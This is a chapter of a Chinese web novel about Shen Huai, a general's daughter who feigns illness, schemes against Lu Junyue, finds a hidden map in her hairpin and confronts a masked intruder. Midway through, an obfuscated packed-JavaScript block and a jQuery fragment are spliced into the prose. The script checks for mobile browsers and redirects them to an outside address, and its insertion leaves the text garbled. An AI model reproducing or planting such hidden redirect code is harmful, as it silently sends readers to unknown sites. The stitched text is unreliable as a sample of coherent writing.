“进来。”
青玉端着药碗低头进来,目不斜视。
沈槐就着她的手,勉强喝了两口药,便推开药碗,转向沈巍:“父亲,女儿实在撑不住了,想回去歇息……”
沈巍满脸忧色:“青玉,好生伺候小姐。”
“是。”青玉恭敬应声,小心翼翼地搀扶着仿佛随时会晕倒的沈槐,慢慢退出了书房。
房门合上,隔绝了内外。
沈槐靠在青玉肩上,脚步虚浮地走在回廊下,方才的锋芒与冷静尽数敛去,只剩下羸弱不堪。
她剧烈地咳嗽着,身子摇摇欲坠,脸上那点短暂的血色瞬间褪得干干净净,又变回了那个气若游丝的病美人。
直到回到安然苑,屏退左右,只剩下青玉青檀时,她才缓缓直起身子,眼中一片清明。
“小姐,国师来者不善。”青玉低声着,将沈槐的外袄取下。
“我知道。”沈槐走到窗边,看着窗外又开始飘落的雪,她道,“陆君越在慈安寺一无所获,必然也会加紧动作,如今陛下也入了棋局,我们的人要抓紧动作。”
她摸了摸发间的白茶玉簪。
“让我们的人,继续探查这支簪子的来历,尤其是它和慈安寺的关联。任何细微的可能都不要放过。”
陆君越特意提及此簪,绝非偶然。
“奴婢知道了,小姐。”青檀伏在书案整理娄掌柜传来的信笺,平日里弯成月牙的眼含着几分郁闷。
沈槐又唤,“小枫呢?”
“少爷还在灵堂守着。”青玉接过声来。
沈槐沉吟片刻:“让他过来一趟,有些事,他该知道了。”
母亲的血仇,家族的危机,她一个人的力量终究有限。
沈枫需要更快地成长起来。
“是,小姐。”
青玉将手中的外袄放置好,正欲推门而去,沈槐的声再次响起:“之前让你们准备的东西都准备好了?”
门缝间透过一丝光来,青玉转过身来,认真点头。
沈槐犹豫半瞬,低声吩咐:“将消息都放出去吧。”
夜色渐浓,雪光映着将军府满目缟素,凄清而冰冷。
沈槐坐于窗边,垂首静思。
将军府嫡女沈槐,本就久病缠身,骤逢母亲新丧,哀毁骨立,悲痛欲绝,以致病势急剧沉疴,呕血昏厥,药石罔效……为求一线生机,不得不离京远赴气候温润之地静养。
这不是合情合理,顺理成章么?
陆君越,你准备好了吗?
-
陆君越对着棋盘,指尖黑子久久未落。
影一悄无声息地出现。
“主子,将军府传出消息,沈小姐悲痛过度,旧疾复发,情况不妙。”
陆君越眉梢微挑:“哦?是真?是假?”
“探子回报,沈将军回府后与沈小姐在书房待了不久,其后其丫鬟青玉来禀,主仆二人回了安然苑。不多时,安然苑内府医进出频繁,药味较先前更为浓重,沈小姐病倒的消息便传了出来。端从表面来看,并无破绽。”
“毫无破绽,便是最大的破绽。”陆君越落下黑子,唇角噙着一丝冰冷的玩味。
晨间沈巍才离了宫,这么快便就有了动作?
沈槐,你究竟想做什么?
“只是再往里去便什么也探不出了,将军府的人看似随意,实则却处处盯梢。主子,还要继续往里去吗?”
“只需留影二一人盯住,其余人全部撤回来,给我盯紧玄离的动向,沉厌此次唤他出宫,想来也是同我一样得了浮屠密钥的消息。”
“是。”
“对了,慈安寺后山,我们的人可有发现?”陆君越转而问道。
“暂未。那地方似有奇门遁甲之术遮掩,我们的人折了两个,还未找到入口。”
“继续找。”陆君越声音转冷,“还有,百问坊和蒯府的人也都盯紧些,沈巍不会坐以待毙,让我们的人不要打草惊蛇。”
“是,主子。”
影一退下,陆君越独坐棋枰,倍感烦闷,派去探查将军府的人尽数无功而返,只带回一些可有可无的消息。
他绝不认为将军府无害,反倒疑心其已做万全准备。
沈家究竟还藏了多少秘密?浮屠密钥又在何处?
他一步步苦心筹谋,历经万难方至今时,无论如何,绝不容局中棋子脱控而出。
陆君越指尖拈起温润白子,将其落于棋盘之上,整个人透出一股冰冷的杀伐之气。
一阵莫名的疲惫袭来,他倚在榻上,阖眼小憩。
意识朦胧间,竟坠入一片血火交织的噩梦。
喊杀震天,刀光剑影纷乱。
幼小的孩童藏于枯井暗仓,死死捂着嘴,一丝声响也不敢漏。
“煜儿,你要好好活下去……”
“你可以躲,可以怕,但定要活下去。你是天子血脉,是礼朝延续,你要活下去。”
“活下去!”
大颗大颗的泪自眼眶滚落,在尚未知事的年岁里,仇恨于恐惧中生根发芽。
那绝望而殷切的嘱托,如跗骨之蛆,日夜啃噬。
陆君越猛然睁眼,眼底一片猩红,是蚀骨痛意,是滔天恨意,是支撑他苟活至今的全部执念。
总有一日,他会拿回他的名,他的姓,拿回属于他的一切。
定要将沉厌彻底踩入烂泥,让其永世不得翻身!
-
风雪夜,奉京城表面平静,暗地里,各方势力却因将军府的风吹草动而暗流汹涌。
沈槐的病如同一颗投入暗湖的石子,荡开的涟漪正悄然改变着整个棋局的走向。
她躺在榻上,指尖抚过心口的霜花印记,感受着其中蕴含的、尚未完全掌控的磅礴力量。
一年之期。
猎灵师,浮屠的密钥,母亲的仇,一切都才刚刚开始。
窗外的雪,下得更大了。
安然苑内,沈槐对沈枫低声交代着什么,少年时而震惊,时而愤怒,最终化为重重的点头。
烛火摇曳,将沈槐纤瘦的身影投在窗纱上,明明灭灭。
沈枫听完姐姐的低语,拳头捏得咯咯作响,少年人的怒火几乎要冲破眼眶:“皇帝老儿欺人太甚!还有那秃驴国师!阿姐,我们……”
“小枫!”沈槐低声喝止,目光沉静却带着不容置疑的威严,“愤怒解决不了问题。陛下是君,我们是臣,明面上的反抗只会让将军府万劫不复。”
沈枫胸口剧烈起伏,半晌,才强行压下翻涌的情绪,哑声道:“那我们就只能这样任人摆布吗?阿姐,你要装病到几时?一年之后又当如何?”
“一年时间,是我们唯一的机会。”沈槐的声音很低,却像淬了冰的刀刃,“我们要在这一年里,找到母亲的真正死因,揪出幕后黑手。要查清我的身世和浮屠密钥背后的秘密,要让它成为我的力量,而非催命符。”
她顿了顿,眼中闪过寒芒,“还要让某些人觉得,将军府再无威胁,甚至,我这个人都不值得他们再浪费心思。”
沈枫怔怔地看着姐姐,忽然发现,病弱的躯壳下,阿姐的脊梁比他所见过的任何将军都要挺拔。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308554|181108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我能做什么?”他问,声音里带着前所未有的郑重。
沈槐看着他,缓缓道:“第一,守好母亲灵堂,尽人子之孝,不让外人看出任何端倪。第二,在军中谨慎行事,收敛脾气,多看多听少言,尤其是蒯将军旧部那边,父亲若有安排,你需全力配合,但绝不可擅自行动。”
她加重了语气,“第三,我病重之事,除了父亲、你、青玉青檀,绝不可再让第六人知晓真相。无论你听到外界如何议论我,甚至怜悯鄙夷,都需忍住。”
沈枫重重点头:“阿姐,我记住了。”
“去吧,回灵堂去。今夜之后,我会‘病’得更重,你也要越发‘担忧’才是。”沈槐轻轻推了他一把。
沈枫转身离去,脚步比来时沉稳了许多。
沈槐看着弟弟的背影消失在夜色里,轻轻吁出一口气。她走到妆台前,缓缓取下那支白茶玉簪。
玉簪温润,在烛光下流转着莹莹光泽。
慈安寺……
到底藏了什么?
她指尖摩挲着簪身,忽然,动作微微一顿。
簪尾与簪身连接处,似有一道极细微、几乎与玉纹融为一体的缝隙。
沈槐尝试着轻轻旋转簪头。
“咔”,一声极轻微的机括响动。
簪身竟从中空处裂开一条细缝,一卷薄如蝉翼、色泽微黄的绢帛,被小心地卷塞在其中。
沈槐的心跳陡然加速,屏住呼吸,小心翼翼地将那卷绢帛取了出来。
绢帛极薄,上面用极细的墨笔绘着一些曲折的线条和标记,旁边还有蝇头小楷的注解。
这似乎是一张地图的一部分,有着某种路径指引。
沈槐的目光迅速扫过那些标注,其中一个熟悉的名称攫住了她的视线——慈安后山。
后山!
陆君越一直派人于后山打转,母亲又将这东西藏得如此隐秘,这地图所指,或许能让她先陆君越一步探明慈安寺后山里的秘密。
就在这时,窗外极远处,传来一声极其短暂的、几乎被风雪吞没的瓦片轻响。
不是府中护卫巡逻的脚步声。
沈槐眼神一凛,瞬间吹熄手边烛火,整个人无声无息地滑入床榻帷幔之后的阴影里,连呼吸都收敛得几不可闻。
几乎就在同时,一道几乎与夜色融为一体的黑影,如鬼魅般悄无声息地贴在了她窗棂之外。
那黑影极有耐心,静止了足足一炷香的时间,似乎在凝神感知室内的动静。确认无异后,一根细小的竹管穿透窗纸,一股极淡的、带着冷梅清香的烟雾被吹入室内。
迷烟?
沈槐屏住呼吸,体内那股冰寒力量自发运转,竟将吸入的微量烟雾瞬间化解消融,头脑一片清明。
窗外人又等了片刻,方才用匕首悄无声息地拨开窗闩,灵巧地翻入室内,落地无声。
借着窗外雪光微芒,可见来人一身夜行衣,身形矫健,面上覆着黑巾,只露出一双精光内敛的眼睛。
他目标明确,直扑沈槐方才所在的妆台,动作熟练而迅速地翻查起来。
他的手指拂过妆奁,检查过首饰盒,甚至捏了捏沈槐日常喝药的瓷碗边缘。
是在找什么?玉珏?还是……
这支簪子?
沈槐在暗处静静观察,心念电转。是陆君越的人?皇帝的人?还是那梅花妖或其他势力?
黑衣人翻查无果,似乎有些焦躁,目光扫向床榻。他犹豫了一下,缓步靠近,似乎想确认沈槐是否真的被迷晕熟睡。
就在他距离床榻还有三步之遥时,沈槐动了。